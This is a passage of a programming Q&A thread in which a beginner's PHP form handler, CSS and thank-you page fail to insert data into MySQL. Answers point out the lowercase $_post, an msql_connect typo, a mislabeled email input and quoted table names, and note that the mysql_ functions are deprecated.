background: -webkit-linear-gradient(top, #2F68B1, #10468B);
background: -moz-linear-gradient(top, #2F68B1, #10468B);
background: -ms-linear-gradient(top, #2F68B1, #10468B);
background: -o-linear-gradient(top, #2F68B1, #10468B);
background: linear-gradient(top, #2F68B1, #10468B);
border: 1px solid #2C6BB8;
border-bottom: 1px solid #5b992b;
border-radius: 3px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
-ms-border-radius: 3px;
-o-border-radius: 3px;
box-shadow: inset 0 1px 0 0 #9fd574;
-webkit-box-shadow: 0 1px 0 0 #9fd574 inset ;
-moz-box-shadow: 0 1px 0 0 #9fd574 inset;
-ms-box-shadow: 0 1px 0 0 #9fd574 inset;
-o-box-shadow: 0 1px 0 0 #9fd574 inset;
color: white;
font-weight: bold;
padding: 7px 20px;
text-align: center;
text-shadow: 0 -1px 0 #396715;
}
button.submit:hover {
opacity:.85;
cursor: pointer;
}
button.submit:active {
border: 1px solid #20911e;
box-shadow: 0 0 10px 5px #356b0b inset;
-webkit-box-shadow:0 0 10px 5px #356b0b inset ;
-moz-box-shadow: 0 0 10px 5px #356b0b inset;
-ms-box-shadow: 0 0 10px 5px #356b0b inset;
-o-box-shadow: 0 0 10px 5px #356b0b inset;
}
input:required, textarea:required {
background: #fff url(asterisk.jpg) no-repeat 98% center;
}
/*invalid, valid*/
.form input:focus:invalid, .form textarea:focus:invalid { /* when a field is considered invalid by the browser */
background: #fff url(invalid.jpg) no-repeat 98% center;
box-shadow: 0 0 5px #d45252;
border-color: #b03535
}
.form input:required:valid, .form textarea:required:valid { /* when a field is considered valid by the browser */
background: #fff url(valid.jpg) no-repeat 98% center;
box-shadow: 0 0 5px #5cd053;
border-color: #28921f;
}
.form_hint {
background: #d45252;
border-radius: 3px 3px 3px 3px;
color: white;
margin-left:8px;
padding: 1px 6px;
}
And the form will be transfered to submit.php (I did the database using mysql). I use wampserver.
<?php
//debug mode
error_reporting(E_ALL);
ini_set('display_errors', 'On');
//to show some error is smthng went wrong
$errors = array();
function connect(){
$connection = mysql_connect(localhost, root, "" ); //I have no idea what the password is. where could I set one?
$db = mysql_select_db(permohonan_data,$connection);
if (!$connection || !$db){
return false;
}
else{
return true;
}
}
echo "first stage";
//will run if user did submit the form
if (!empty($_POST)){
echo "second stage";
//connect sql server:
if (!connect()){
$errors[] = "Can't establish link to MySql server";
}
$name = $_POST['name'];
$position = $_POST['position'];
$unit = $_POST['unit'];
$institute = $_POST['institute'];
$telefon = $_POST['telefon'];
$faks = $_POST['faks'];
$email = $_POST['email'];
$data = $_POST['data'];
$purpose = $_POST['purpose'];
echo "third stage";
//no error til here
if (empty($error)){
//prevent SQL injection
$name = mysql_real_escape_string($name);
$position = mysql_real_escape_string($position);
$unit = mysql_real_escape_string($unit);
$institute = mysql_real_escape_string($institute);
$telefon = mysql_real_escape_string($telefon);
$faks = mysql_real_escape_string($faks);
$email = mysql_real_escape_string($email);
$data = mysql_real_escape_string($data);
$purpose = mysql_real_escape_string($purpose);
}
echo "fourth stage";
//try insert value
$query = "INSERT INTO 'user'
(name,position,unit,institute,telefon,faks,email,data,purpose)
VALUES ('$name', '$position', '$unit', '$institute', '$telefon', '$faks', '$email', '$data', '$purpose')";
if (!mysql_query($query)){
//
//die(mysql_error());
$errors[] = "Can't insert the values";
}
else {
//on success
header('location:C:\wamp\www\FORM\thankyou.php');
}
}
?>
Which the result gives no errors, I've put the reporting error syntax, but also nothing is displayed to the screen. The script are still visual at the page source though. And when I put the echo part, the script just runs until "first stage". It didn't redirect to thankyou.php. What did I do wrong? And how can I connect this to the database? I did the $connect part, but it still vague to me. please help.
This is the thankyou.php:
<html>
<head>
<meta charset="utf-8">
<title>thank you!</title>
<link rel="stylesheet" media="screen" href="stylesphp.css" >
</head>
<body bgcolor="#13b4ff">
<div class="boxed";>
<div id="thankyou" style= "text-align:center; font-size:50px;">THANK YOU</div><br>
Your inquiry has been submitted. Please wait 24 hours. <br>
You will be notify by email.
<p> return to <a class="a" href="http://www.moe.gov.my/en/home" target="_self">main page.</a>
</div>
</body>
</html>
EDIT, thanks to Fred -ii- and Joni Salmi, I have fix the error.
but it shows this instead:
Notice: Undefined index: email in C:\wamp\www\FORM\submit.php on line 39.
this is line 39
$email = $_POST['email'];
As per your original question
$_POST is a "superglobal" and MUST be in uppercase.
You have:
if (!empty($_post)){
Change it to:
if (!empty($_POST)){
That seems to be the most likely part of the problem.
As far as I can tell, the rest of your code seems OK to me, besides the fact that you're using a deprecated mysql_ function.
EDIT
As Joni Salmi pointed out in a comment,
you are using msql_connect which should be mysql_connect
Credit to Joni (Salmi)
Change:
$connection = msql_connect(localhost, root, "" );
missing "y" => ^
to:
$connection = mysql_connect(localhost, root, "" );
Also as per your comment about Undefined index: email error message.
Change this line:
<input type="email" name="name" placeholder="name#something.com"/ required>
to:
<input type="email" name="email" placeholder="name#something.com"/ required>
You had:
<label for="name">Name:</label>
<input type="text" name="name" required />
with the same named input field of name="name" as your email input.
Edit #2
Use backticks instead of quotes for your table name.
You have:
$query = "INSERT INTO 'user'
Use (backticks):
$query = "INSERT INTO `user`
You can even remove the quotes: (but backticks are better)
$query = "INSERT INTO user
RE: Undefined index:
You have incorrectly named the input fied that is to hold the email address in the HTML
<input type="email" name="name" placeholder="name#something.com"/ required>
Change it to
<input type="email" name="email" placeholder="name#something.com"/ required>
Note the name="email"
The names you give the fields in HTML control the fieldnames used in the $_POST array.

Categories